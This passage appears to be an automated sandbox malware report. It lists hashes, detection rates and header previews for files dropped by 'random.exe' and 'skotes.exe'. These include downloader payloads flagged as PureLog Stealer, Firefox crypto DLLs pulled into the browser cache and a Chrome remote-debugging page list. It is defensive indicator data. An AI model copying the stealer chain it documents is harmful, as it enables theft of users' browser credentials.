MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2956800
Entropy (8bit):	6.5597341947805035
Encrypted:	false
SSDEEP:	49152:wGstuxWdykCVE3Fy24U9w7mc00C+btuN37rhE9cMXRDv6rhMCHw:wqookCVE3Fy24Mwic0ybtuVXhE9ZhvWd
MD5:	3A61C20A67DE482B185AB4698AA6B4E1
SHA1:	50A864A95715C5167DA337DC608D53394972DA42
SHA-256:	3F09A04EBFC36B65298065E9B7DE36A1F6E7ACB77DA56DDFF650E7BF808EF976
SHA-512:	338A299FA4EEE138DD007729F6613BE90834B5AD447DFC8E02BF152DCD379A574726C632A8690673F4EE06AF8052D78EC08CC2724EDC574A1BEF6B3F3E733922
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.....p.-...@.................................W...k...........................\|.0.............................,.0..................................................... . ............................@....rsrc...............................@....idata ............................@...osemtlkq..........................@...fqwpihld......0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.356162708180804
Encrypted:	false
SSDEEP:	48:SfNaoQRzYzaTEQRufNaoQn+0b+0YQn+0L/fNaoQ5QffNaoQF0UrU0U8Qm:6NnQ5TEQANnQn+4+3Qn+qNnQ5Q3NnQF9
MD5:	7208C21CB8652412815A000CA85E87C0
SHA1:	17118DCCF7163BD263C670F5C4FE50B42D7955CE
SHA-256:	82A6D1E67B2262684C7690387802F259E11AB49C98E0395DEB3E7AC364E8BECC
SHA-512:	03DFA2B9D06DDCDCCBCD864CEC5547ECC856D4696A8320D447B816EA60D12E9C9ED1509A0EF143DF6C1275F8DB48DA662A0E156EEE8B12230D8C9B5B893811E1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/48BB41B1643EC1427BDAF417F36BBCDE",.. "id": "48BB41B1643EC1427BDAF417F36BBCDE",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/48BB41B1643EC1427BDAF417F36BBCDE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/DCA3713D0E53F788B9E65999DDB6EBD7",.. "id": "DCA3713D0E53F788B9E65999DDB6EBD7",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/DCA3713D0E53F788B9E65999DDB6EBD7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3194880
Entropy (8bit):	7.9911497227428185
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnDN:Z/qBdHRSXYBmrohgnDN
MD5:	12908857C459B261518376B51B6ADEA0
SHA1:	020BC5165C63F2A5EEDE64FBC92BDEE21A46BF5C
SHA-256:	FA5E6E13324C953913DD82E145615CA0EF0ACACD554A1F9E528A41DEC8420BCA
SHA-512:	66A9AD3FF2049D73E34079FF532FC4F9A246EF99AA4332FECDD8BECD5230EB2AB68DADF826A15EDF160452FB2D4148DB09878D1BEB5239AFCC17674EA460E292
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2037760
Entropy (8bit):	7.95245321029054
Encrypted:	false
SSDEEP:	49152:SQc9hQF6eD4S6a/WrILcc7QIFYpgZg22SZb0N+jm:HWQPDQYZogLb0ND
MD5:	2D17CA2A92D934F28AEC4E2B217FEBEE
SHA1:	92600BEC0B3178523A8A0FC6896CE8A642C8B10D
SHA-256:	523D3F45CF5D1CE2BCF6683B03996DF686E1BA8EB576316681BF5128BBC13F5F
SHA-512:	0703681DF137B187F97BA2542CEB407D62598DA450DF21A30568F4AE8CE237C0E96797686D5051A9044E2830385AAA534F8851364CA065EC097190282F961849
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......`M...........@...........................M......M....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..*..........V..............@...icaenpzq......2......X..............@...acsraxvu.....PM.....................@....taggant.0...`M.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2037760
Entropy (8bit):	7.95245321029054
Encrypted:	false
SSDEEP:	49152:SQc9hQF6eD4S6a/WrILcc7QIFYpgZg22SZb0N+jm:HWQPDQYZogLb0ND
MD5:	2D17CA2A92D934F28AEC4E2B217FEBEE
SHA1:	92600BEC0B3178523A8A0FC6896CE8A642C8B10D
SHA-256:	523D3F45CF5D1CE2BCF6683B03996DF686E1BA8EB576316681BF5128BBC13F5F
SHA-512:	0703681DF137B187F97BA2542CEB407D62598DA450DF21A30568F4AE8CE237C0E96797686D5051A9044E2830385AAA534F8851364CA065EC097190282F961849
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......`M...........@...........................M......M....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..*..........V..............@...icaenpzq......2......X..............@...acsraxvu.....PM.....................@....taggant.0...`M.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016924001\08ec49e72a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3194880
Entropy (8bit):	7.9911497227428185
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnDN:Z/qBdHRSXYBmrohgnDN
MD5:	12908857C459B261518376B51B6ADEA0
SHA1:	020BC5165C63F2A5EEDE64FBC92BDEE21A46BF5C
SHA-256:	FA5E6E13324C953913DD82E145615CA0EF0ACACD554A1F9E528A41DEC8420BCA
SHA-512:	66A9AD3FF2049D73E34079FF532FC4F9A246EF99AA4332FECDD8BECD5230EB2AB68DADF826A15EDF160452FB2D4148DB09878D1BEB5239AFCC17674EA460E292
Malicious:	true
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\BKKFCFBKFC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2956800
Entropy (8bit):	6.5597341947805035
Encrypted:	false
SSDEEP:	49152:wGstuxWdykCVE3Fy24U9w7mc00C+btuN37rhE9cMXRDv6rhMCHw:wqookCVE3Fy24Mwic0ybtuVXhE9ZhvWd
MD5:	3A61C20A67DE482B185AB4698AA6B4E1
SHA1:	50A864A95715C5167DA337DC608D53394972DA42
SHA-256:	3F09A04EBFC36B65298065E9B7DE36A1F6E7ACB77DA56DDFF650E7BF808EF976
SHA-512:	338A299FA4EEE138DD007729F6613BE90834B5AD447DFC8E02BF152DCD379A574726C632A8690673F4EE06AF8052D78EC08CC2724EDC574A1BEF6B3F3E733922
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.....p.-...@.................................W...k...........................\|.0.............................,.0..................................................... . ............................@....rsrc...............................@....idata ............................@...osemtlkq..........................@...fqwpihld......0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 13:20:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.975470578357671
Encrypted:	false
SSDEEP:	48:8rdqTWa6HzidAKZdA19ehwiZUklqehgy+3:8YXK3y
MD5:	4EAFFD73A1B1F64BFC56A53DC390523C
SHA1:	C0CB3C29D8A5A32D0DE7A3FD49D7932ABA22274F
SHA-256:	7AF1179DA0E05CFC10907FB5CEFE6A0F06589B13CF979823444057468F54AC48
SHA-512:	5095CE22904B7192F89BF54577B242626960E92AE01CA947665615AB05BADA24392168DB153021C69167D5A4A2D87D1FA8A239E24F995EF34786C3DC74CE90FC
Malicious:	false
Preview:	L..................F.@.. ...$+.,....y.@.XQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............x......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 13:20:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9878186594566576
Encrypted:	false
SSDEEP:	48:8EzdqTWa6HzidAKZdA1weh/iZUkAQkqehny+2:8EwXA9QKy
MD5:	14A2855BD066A97CE317933C5CB0937D
SHA1:	1244C07EB68265B3408C785DC756AE0B9218002D
SHA-256:	E24320EB5B76D2CB2F0B883057809E36F22D980486A4E52EC2053B86C1DACFAF
SHA-512:	358D842FCD4DB076C5DC6B6C47AD23411295B376626209E694F38273E8ABB9A1AECFAD7FD207F8BD80E25D99730DDC7A947A98CDA3883202304659B7EDF6C8D4
Malicious:	false
Preview:	L..................F.@.. ...$+.,....l.1.XQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............x......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001976113560414
Encrypted:	false
SSDEEP:	48:8xzdqTWasHzidAKZdA14tseh7sFiZUkmgqeh7sBy+BX:8xwXqnzy
MD5:	5FA764ED1C691AAB239D49145572D1BC
SHA1:	CEA55EFE8387A1F09BD7C1BA54D246EC17A9C9B1
SHA-256:	5B64241152F5DA8B2A245C5641474B5F75D54208324C0883134E76945F63D626
SHA-512:	63A2E2CBA53517C0B95B0888F29C575910B6F0F4C920F629D6D69220365F7DFAE158795D8F7C11E15C44C72DBE7C503AC1063F63E98E43C92B858984CF5B8199
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............x......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 13:20:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9898283233921035
Encrypted:	false
SSDEEP:	48:8a8dqTWa6HzidAKZdA1vehDiZUkwqehby+R:8axXLpy
MD5:	FBC409E990853FAB94830D274B92B417
SHA1:	CCF11C57C84754306012E30DD4AD066B49FF46F0
SHA-256:	B4C43BF65E52F5C3A76216FB09F3EC4214FFE2DE9DA844B851570B896F36F5A2
SHA-512:	C7ED0F69DF6ED2FF589C7D77CFEF3830EAAE9D604DC41F848B6FEC15319E3A494640B451FEFD5ACC8AF49B5DFF57A978F8EEEE9610A75B4153E85DB68E2539E0
Malicious:	false
